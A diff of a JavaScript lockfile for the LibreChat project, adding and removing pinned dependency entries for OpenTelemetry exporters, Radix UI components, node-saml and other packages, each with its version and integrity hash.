"@librechat/frontend/@testing-library/jest-dom": ["@testing-library/jest-dom@5.17.0", "", { "dependencies": { "@adobe/css-tools": "^4.0.1", "@babel/runtime": "^7.9.2", "@types/testing-library__jest-dom": "^5.9.1", "aria-query": "^5.0.0", "chalk": "^3.0.0", "css.escape": "^1.5.1", "dom-accessibility-api": "^0.5.6", "lodash": "^4.17.15", "redent": "^3.0.0" } }, "sha512-ynmNeT7asXyH3aSVv4vvX4Rb+0qjOhdNHnO/3vuZNqPmhDpV/+rCSGwQ7bLcmU2cJ4dvoheIO85LQj0IbJHEtg=="],
- "@librechat/frontend/framer-motion": ["framer-motion@11.18.2", "", { "dependencies": { "motion-dom": "^11.18.1", "motion-utils": "^11.18.1", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid"] }, "sha512-5F5Och7wrvtLVElIpclDT0CBzMVg3dL22B64aZwHtsIY8RB4mXICLrkajK4G9R+ieSAGcgrLeae2SeUTg2pr6w=="],
+ "@librechat/frontend/@types/node": ["@types/node@20.19.37", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-8kzdPJ3FsNsVIurqBs7oodNnCEVbni9yUEkaHbgptDACOPW04jimGagZ51E6+lXUwJjgnBw+hyko/lkFWCldqw=="],
- "@librechat/frontend/jest-environment-jsdom": ["jest-environment-jsdom@29.7.0", "", { "dependencies": { "@jest/environment": "^29.7.0", "@jest/fake-timers": "^29.7.0", "@jest/types": "^29.6.3", "@types/jsdom": "^20.0.0", "@types/node": "*", "jest-mock": "^29.7.0", "jest-util": "^29.7.0", "jsdom": "^20.0.0" }, "peerDependencies": { "canvas": "^2.5.0" }, "optionalPeers": ["canvas"] }, "sha512-k9iQbsf9OyOfdzWH8HDmrRT0gSIcX+FLNW7IQq94tFX0gynPwqDTW0Ho6iMVNjGz/nb+l/vW3dWM2bbLLpkbXA=="],
+ "@librechat/frontend/dompurify": ["dompurify@3.3.0", "", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-r+f6MYR1gGN1eJv0TVQbhA7if/U7P87cdPl3HN5rikqaBSBxLiCb/b9O+2eG0cxz0ghyU+mU1QkbsOwERMYlWQ=="],
+
+ "@librechat/frontend/framer-motion": ["framer-motion@11.18.2", "", { "dependencies": { "motion-dom": "^11.18.1", "motion-utils": "^11.18.1", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid"] }, "sha512-5F5Och7wrvtLVElIpclDT0CBzMVg3dL22B64aZwHtsIY8RB4mXICLrkajK4G9R+ieSAGcgrLeae2SeUTg2pr6w=="],
"@librechat/frontend/lucide-react": ["lucide-react@0.394.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0" } }, "sha512-PzTbJ0bsyXRhH59k5qe7MpTd5MxlpYZUcM9kGSwvPGAfnn0J6FElDwu2EX6Vuh//F7y60rcVJiFQ7EK9DCMgfw=="],
"@mcp-ui/client/@modelcontextprotocol/sdk": ["@modelcontextprotocol/sdk@1.21.0", "", { "dependencies": { "ajv": "^8.17.1", "ajv-formats": "^3.0.1", "content-type": "^1.0.5", "cors": "^2.8.5", "cross-spawn": "^7.0.5", "eventsource": "^3.0.2", "eventsource-parser": "^3.0.0", "express": "^5.0.1", "express-rate-limit": "^7.5.0", "pkce-challenge": "^5.0.0", "raw-body": "^3.0.0", "zod": "^3.23.8", "zod-to-json-schema": "^3.24.1" }, "peerDependencies": { "@cfworker/json-schema": "^4.1.1" } }, "sha512-YFBsXJMFCyI1zP98u7gezMFKX4lgu/XpoZJk7ufI6UlFKXLj2hAMUuRlQX/nrmIPOmhRrG6tw2OQ2ZA/ZlXYpQ=="],
+ "@mistralai/mistralai/zod-to-json-schema": ["zod-to-json-schema@3.24.3", "", { "peerDependencies": { "zod": "^3.24.1" } }, "sha512-HIAfWdYIt1sssHfYZFCXp4rU1w2r8hVVXYIlmoa0r0gABLs5di3RCqPU5DDROogVz1pAdYBaz7HK5n9pSUNs3A=="],
+
"@modelcontextprotocol/sdk/ajv": ["ajv@8.17.1", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g=="],
- "@modelcontextprotocol/sdk/express-rate-limit": ["express-rate-limit@7.5.0", "", { "peerDependencies": { "express": "^4.11 || 5 || ^5.0.0-beta.1" } }, "sha512-eB5zbQh5h+VenMPM3fh+nw1YExi5nMr6HUCR62ELSP11huvxm/Uir1H1QEyTkk5QX6A58pX6NmaTMceKZ0Eodg=="],
-
- "@modelcontextprotocol/sdk/zod-to-json-schema": ["zod-to-json-schema@3.25.0", "", { "peerDependencies": { "zod": "^3.25 || ^4" } }, "sha512-HvWtU2UG41LALjajJrML6uQejQhNJx+JBO9IflpSja4R03iNWfKXrj6W2h7ljuLyc1nKS+9yDyL/9tD1U/yBnQ=="],
-
"@node-saml/node-saml/@types/qs": ["@types/qs@6.14.0", "", {}, "sha512-eOunJqu0K1923aExK6y8p6fsihYEn/BYuQ4g0CxAAgFc4b/ZLN4CrsRZ55srTdqoiLzU2B2evC+apEIxprEzkQ=="],
+ "@node-saml/node-saml/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+ "@node-saml/node-saml/xmlbuilder": ["xmlbuilder@15.1.1", "", {}, "sha512-yMqGBqtXyeN1e3TGYvgNgDVZ3j84W4cwkOXQswghol6APgZWaff9lnbvN7MHYJOiXsvGPXtjTYJEiC9J2wv9Eg=="],
+
"@node-saml/passport-saml/@types/express": ["@types/express@4.17.23", "", { "dependencies": { "@types/body-parser": "*", "@types/express-serve-static-core": "^4.17.33", "@types/qs": "*", "@types/serve-static": "*" } }, "sha512-Crp6WY9aTYP3qPi2wGDo9iUe/rceX01UMhnF1jmwDcKCFM6cx7YhGP/Mpr3y9AASpfHixIG0E6azCcL5OcDHsQ=="],
"@node-saml/passport-saml/passport": ["passport@0.7.0", "", { "dependencies": { "passport-strategy": "1.x.x", "pause": "0.0.1", "utils-merge": "^1.0.1" } }, "sha512-cPLl+qZpSc+ireUvt+IzqbED1cHHkDoVYMo30jbJIdOOjQ1MQYZBPiNvmi8UM6lJuOpTPXJGZQk0DtC4y61MYQ=="],
- "@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.208.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.208.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-gMd39gIfVb2OgxldxUtOwGJYSH8P1kVFFlJLuut32L6KgUC4gl1dMhn+YC2mGn0bDOiQYSk/uHOdSjuKp58vvA=="],
+ "@opentelemetry/exporter-logs-otlp-grpc/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="],
- "@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.208.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.208.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.208.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-DCFPY8C6lAQHUNkzcNT9R+qYExvsk6C5Bto2pbNxgicpcSWbe2WHShLxkOxIdNcBiYPdVHv/e7vH7K6TI+C+fQ=="],
+ "@opentelemetry/exporter-logs-otlp-grpc/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="],
+
+ "@opentelemetry/exporter-logs-otlp-http/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="],
+
+ "@opentelemetry/exporter-logs-otlp-http/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="],
+
+ "@opentelemetry/exporter-logs-otlp-proto/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="],
+
+ "@opentelemetry/exporter-logs-otlp-proto/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="],
+
+ "@opentelemetry/exporter-metrics-otlp-grpc/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="],
+
+ "@opentelemetry/exporter-metrics-otlp-grpc/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="],
+
+ "@opentelemetry/exporter-metrics-otlp-http/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="],
+
+ "@opentelemetry/exporter-metrics-otlp-http/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="],
+
+ "@opentelemetry/exporter-metrics-otlp-proto/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="],
+
+ "@opentelemetry/exporter-metrics-otlp-proto/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="],
+
+ "@opentelemetry/exporter-trace-otlp-grpc/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="],
+
+ "@opentelemetry/exporter-trace-otlp-grpc/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="],
+
+ "@opentelemetry/exporter-trace-otlp-proto/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="],
+
+ "@opentelemetry/exporter-trace-otlp-proto/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="],
+
+ "@opentelemetry/otlp-grpc-exporter-base/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="],
+
+ "@opentelemetry/otlp-grpc-exporter-base/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="],
+
+ "@opentelemetry/otlp-transformer/@opentelemetry/api-logs": ["@opentelemetry/api-logs@0.208.0", "", { "dependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-CjruKY9V6NMssL/T1kAFgzosF1v9o6oeN+aX5JB/C/xPNtmgIJqcXHG7fA82Ou1zCpWGl4lROQUKwUNE1pMCyg=="],
+
+ "@opentelemetry/otlp-transformer/@opentelemetry/sdk-logs": ["@opentelemetry/sdk-logs@0.208.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.208.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0" }, "peerDependencies": { "@opentelemetry/api": ">=1.4.0 <1.10.0" } }, "sha512-QlAyL1jRpOeaqx7/leG1vJMp84g0xKP6gJmfELBpnI4O/9xPX+Hu5m1POk9Kl+veNkyth5t19hRlN6tNY1sjbA=="],
+
+ "@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
"@opentelemetry/sdk-node/@opentelemetry/exporter-trace-otlp-http": ["@opentelemetry/exporter-trace-otlp-http@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-exporter-base": "0.207.0", "@opentelemetry/otlp-transformer": "0.207.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-HSRBzXHIC7C8UfPQdu15zEEoBGv0yWkhEwxqgPCHVUKUQ9NLHVGXkVrf65Uaj7UwmAkC1gQfkuVYvLlD//AnUQ=="],
- "@radix-ui/react-alert-dialog/@radix-ui/primitive": ["@radix-ui/primitive@1.1.3", "", {}, "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg=="],
+ "@radix-ui/react-alert-dialog/@radix-ui/primitive": ["@radix-ui/primitive@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" } }, "sha512-3e7rn8FDMin4CgeL7Z/49smCA3rFYY3Ha2rUQ7HRWFadS5iCRw08ZgVT1LaNTCNqgvrUiyczLflrVrF0SRQtNA=="],
+
+ "@radix-ui/react-alert-dialog/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA=="],
+
+ "@radix-ui/react-alert-dialog/@radix-ui/react-context": ["@radix-ui/react-context@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-1pVM9RfOQ+n/N5PJK33kRSKsr1glNxomxONs5c49MliinBY6Yw2Q995qfBUUo0/Mbg05B/sGA0gkgPI7kmSHBg=="],
+
+ "@radix-ui/react-alert-dialog/@radix-ui/react-primitive": ["@radix-ui/react-primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-slot": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fHbmislWVkZaIdeF6GZxF0A/NH/3BjrGIYj+Ae6eTmTCr7EB0RQAAVEiqsXK6p3/JcRqVSBQoceZroj30Jj3XA=="],
+
+ "@radix-ui/react-alert-dialog/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-avutXAFL1ehGvAXtPquu0YK5oz6ctS474iM3vNGQIkswrVhdrS52e3uoMQBzZhNRAIE0jBnUyXWNmSjGHhCFcw=="],
"@radix-ui/react-arrow/@radix-ui/react-primitive": ["@radix-ui/react-primitive@1.0.3", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-slot": "1.0.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-yi58uVyoAcK/Nq1inRY56ZSjKypBNKTa/1mcL8qdl6oJeEaDbOldlzrGn7P6Q3Id5d+SYNGc5AJgc4vGhjs5+g=="],
@@ -5503,11 +5697,29 @@
"@radix-ui/react-collapsible/@radix-ui/react-presence": ["@radix-ui/react-presence@1.1.4", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-ueDqRbdc4/bkaQT3GIpLQssRlFgWaL/U2z/S31qRwwLWoxHLgry3SIfCwhxeQNbirEUXFa+lq3RL3oBYXtcmIA=="],
- "@radix-ui/react-dialog/@radix-ui/primitive": ["@radix-ui/primitive@1.1.3", "", {}, "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg=="],
+ "@radix-ui/react-dialog/@radix-ui/primitive": ["@radix-ui/primitive@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" } }, "sha512-3e7rn8FDMin4CgeL7Z/49smCA3rFYY3Ha2rUQ7HRWFadS5iCRw08ZgVT1LaNTCNqgvrUiyczLflrVrF0SRQtNA=="],
- "@radix-ui/react-dialog/@radix-ui/react-presence": ["@radix-ui/react-presence@1.1.5", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-/jfEwNDdQVBCNvjkGit4h6pMOzq8bHkopq458dPt2lMjx+eBQUohZNG9A7DtO/O5ukSbxuaNGXMjHicgwy6rQQ=="],
+ "@radix-ui/react-dialog/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA=="],
- "@radix-ui/react-dismissable-layer/@radix-ui/primitive": ["@radix-ui/primitive@1.1.3", "", {}, "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg=="],
+ "@radix-ui/react-dialog/@radix-ui/react-context": ["@radix-ui/react-context@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-1pVM9RfOQ+n/N5PJK33kRSKsr1glNxomxONs5c49MliinBY6Yw2Q995qfBUUo0/Mbg05B/sGA0gkgPI7kmSHBg=="],
+
+ "@radix-ui/react-dialog/@radix-ui/react-id": ["@radix-ui/react-id@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-use-layout-effect": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-Q6iAB/U7Tq3NTolBBQbHTgclPmGWE3OlktGGqrClPozSw4vkQ1DfQAOtzgRPecKsMdJINE05iaoDUG8tRzCBjw=="],
+
+ "@radix-ui/react-dialog/@radix-ui/react-presence": ["@radix-ui/react-presence@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0", "@radix-ui/react-use-layout-effect": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-A+6XEvN01NfVWiKu38ybawfHsBjWum42MRPnEuqPsBZ4eV7e/7K321B5VgYMPv3Xx5An6o1/l9ZuDBgmcmWK3w=="],
+
+ "@radix-ui/react-dialog/@radix-ui/react-primitive": ["@radix-ui/react-primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-slot": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fHbmislWVkZaIdeF6GZxF0A/NH/3BjrGIYj+Ae6eTmTCr7EB0RQAAVEiqsXK6p3/JcRqVSBQoceZroj30Jj3XA=="],
+
+ "@radix-ui/react-dialog/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-avutXAFL1ehGvAXtPquu0YK5oz6ctS474iM3vNGQIkswrVhdrS52e3uoMQBzZhNRAIE0jBnUyXWNmSjGHhCFcw=="],
+
+ "@radix-ui/react-dialog/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-use-callback-ref": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-FohDoZvk3mEXh9AWAVyRTYR4Sq7/gavuofglmiXB2g1aKyboUD4YtgWxKj8O5n+Uak52gXQ4wKz5IFST4vtJHg=="],
+
+ "@radix-ui/react-dismissable-layer/@radix-ui/primitive": ["@radix-ui/primitive@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" } }, "sha512-3e7rn8FDMin4CgeL7Z/49smCA3rFYY3Ha2rUQ7HRWFadS5iCRw08ZgVT1LaNTCNqgvrUiyczLflrVrF0SRQtNA=="],
+
